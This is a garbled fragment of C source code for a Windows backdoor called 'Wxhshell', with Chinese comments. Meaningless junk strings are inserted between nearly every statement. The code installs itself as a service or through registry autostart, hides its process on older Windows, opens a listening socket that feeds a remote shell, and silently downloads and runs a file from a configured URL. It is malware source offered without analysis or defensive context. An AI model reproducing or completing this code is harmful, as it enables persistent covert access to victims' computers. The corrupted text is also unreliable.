kxp char procName[255]; $Hcp.J[O unsigned long cbNeeded; 8W$uw~|dw }D_h*9 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4,CQJ w]b3,b CloseHandle(hProcess); ~1&%,$fZ P?GHcq$\ if(strstr(procName,"services")) return 1; // 以服务启动 {&,9Zy]"S m6J7)Wp return 0; // 注册表启动 7%C6hEP/*W } <aJdm!6 T4,dhS| // 主模块 0 1U/{D6D int StartWxhshell(LPSTR lpCmdLine) ^&oa\7<' { 8)IpQG SOCKET wsl; Z?k4Kb BOOL val=TRUE; H!Gsu$C int port=0; xc[LbaBG struct sockaddr_in door; pPt7M'uL" %n-:mSus if(wscfg.ws_autoins) Install(); ]-d:wEj ?N2/;u> port=atoi(lpCmdLine); %~ uMa n82N@z<8] if(port<=0) port=wscfg.ws_port; 8Fy$'Zx' fHTqLYd- WSADATA data; 9%e&Z'l if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >S4klW=*I %Q:i6 ~ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; LaL.C^K setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o7"2"(
=> door.sin_family = AF_INET; mJT< door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?bwF$Ku door.sin_port = htons(port); O,(p><k$/ Ox ;q +5 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .#zmX\a closesocket(wsl); f\O)+Vc return 1; Ag1* .t| } o@TxDG 7'pCFeA>=T if(listen(wsl,2) == INVALID_SOCKET) { &{${ Fq closesocket(wsl); LB}y,-vX> return 1; '<"eG!O } #g,JNJ} Wxhshell(wsl); xQV5-VoFC WSACleanup(); 40cgsRa| t]?u<KD< return 0; +JoE[; ZS51QB } jj^{^,z\ >vE1,JD)w // 以NT服务方式启动 yi`Z(j; VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `p`)D6 { ~e,k71 DWORD status = 0; N yT|=`; DWORD specificError = 0xfffffff; RUHQ]@d#T R*~<?}Rr serviceStatus.dwServiceType = SERVICE_WIN32; b~?FV>gl serviceStatus.dwCurrentState = SERVICE_START_PENDING; u/?s_OR serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KLv`Xg \ serviceStatus.dwWin32ExitCode = 0; _,V
9^ serviceStatus.dwServiceSpecificExitCode = 0; &9bsTm serviceStatus.dwCheckPoint = 0; k2Yh?OH serviceStatus.dwWaitHint = 0; k$`~,LJ p '51DdTU hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `OzcL if (hServiceStatusHandle==0) return; TCAtb('D X;JptF^ status = GetLastError(); &|( 'z\k if (status!=NO_ERROR) siveqz6h { 4qq+7B serviceStatus.dwCurrentState = SERVICE_STOPPED; $]:ycn9l serviceStatus.dwCheckPoint = 0; 2O\p`,. serviceStatus.dwWaitHint = 0; # Vz9j serviceStatus.dwWin32ExitCode = status; ,-7w\%* serviceStatus.dwServiceSpecificExitCode = specificError; +Bk d SetServiceStatus(hServiceStatusHandle, &serviceStatus); C.I.f9s?R return; JjarMJr|D } ;ru=z@ .6Jo1$+ serviceStatus.dwCurrentState = SERVICE_RUNNING; FHpS ?htRy serviceStatus.dwCheckPoint = 0; P,y*H_@k serviceStatus.dwWaitHint = 0; UJ-IK|P.# if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]i'hCa $$ } g:0-`,[ ER0nrTlB< // 处理NT服务事件,比如:启动、停止 Oga/ VOID WINAPI NTServiceHandler(DWORD fdwControl) {fXD@lhi { *nUD6(@g switch(fdwControl) _l$V| { 39| W(, case SERVICE_CONTROL_STOP: ,!U._ic'B serviceStatus.dwWin32ExitCode = 0; ZdbZ^DUR<( serviceStatus.dwCurrentState = SERVICE_STOPPED; YCvIB' serviceStatus.dwCheckPoint = 0; $$7Mq*a> serviceStatus.dwWaitHint = 0; p!5oz2RK { 1eue.iuQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); r\J"|{)e } rEwEdyK return; 5S4kn.3 case SERVICE_CONTROL_PAUSE: L{y%\:] serviceStatus.dwCurrentState = SERVICE_PAUSED; ETk4I" break; ?+-uF} case SERVICE_CONTROL_CONTINUE: nNNs3h(Ss serviceStatus.dwCurrentState = SERVICE_RUNNING; <SeK3@Gi break; =0,:w(Sb! case SERVICE_CONTROL_INTERROGATE: 8,\toT7 break; hM~9p{O }; 2pR+2p` SetServiceStatus(hServiceStatusHandle, &serviceStatus); `I|$U)' } eSvS<\p b77Iw%x7 // 标准应用程序主函数 &NbhQY`k int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GSzb { 7:7i}`O E^kB|; Ki // 获取操作系统版本 ,PH ;j_ OsIsNt=GetOsVer(); OwXw9 GetModuleFileName(NULL,ExeFile,MAX_PATH); &AR@5M u ? <b>2j // 从命令行安装 l-` M
9# if(strpbrk(lpCmdLine,"iI")) Install(); 'Rbv3U +&?#Gdb // 下载执行文件 C3EQzr` if(wscfg.ws_downexe) { ktlI(#\% if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N y_d WinExec(wscfg.ws_filenam,SW_HIDE); &h1.9AO } cMxuG'{=. OwhMtYq if(!OsIsNt) { R42+^'af // 如果时win9x,隐藏进程并且设置为注册表启动 *?sdWRbu}l HideProc(); DC?U+ StartWxhshell(lpCmdLine); u#9 H } tkT:5O6 else zN2CI6 if(StartFromService()) mx`QBJ // 以服务方式启动 $ ?ayE StartServiceCtrlDispatcher(DispatchTable); OW}ny else >bQ'*! // 普通方式启动 a,<l_#' StartWxhshell(lpCmdLine); J1P
jMb} MTm}qx@L return 0; a3t[Tk; }
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